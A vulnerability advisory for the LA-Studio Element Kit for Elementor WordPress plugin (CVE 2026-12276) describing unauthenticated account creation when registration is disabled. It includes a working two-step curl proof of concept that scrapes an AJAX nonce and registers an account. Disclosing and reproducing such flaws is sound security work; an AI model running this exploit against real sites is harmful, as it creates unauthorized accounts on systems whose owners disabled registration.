LA-Studio Element Kit for Elementor < 1.6.1 – Unauthenticated Open Registration | CVE 2026-12276

Description

The plugin does not check whether user registration is enabled on the site before creating an account through one of its unauthenticated AJAX actions, allowing unauthenticated attackers to register new accounts even when registration has been disabled site-wide.

Proof of Concept

Reproduced from scratch (the submitter's original PoC was LLM-generated and used a wrong homepage-nonce grab). Confirmed on 1.6.0 with site registration DISABLED (users_can_register off).

Precondition: a public page containing a LA-Studio registration/login form widget exists, so the plugin front-end script and the lakit_ajax nonce are present on that page.

# 1. Read the lakit_ajax nonce anonymously from that page
NONCE=$(curl -s 'https://TARGET/page-with-lastudio-register-widget/' | grep -oE '"ajaxNonce":"[^"]+"' | head -1 | sed -E 's/.*:"([^"]+)"/\1/')

# 2. Create an account despite registration being disabled
curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=lakit_ajax' \
  --data-urlencode "_nonce=${NONCE}" \
  --data-urlencode 'actions={"0":{"action":"register","data":{"email":"attacker@example.com","lakit_field_log":"no","lakit_field_pwd":"yes","password":"Password123!","lakit_field_cpwd":"no"}}}'
# -> {"success":true,...,"type":"success"} and a new default-role user is created in the DB
#    (verified via `wp user list` before/after with users_can_register=0).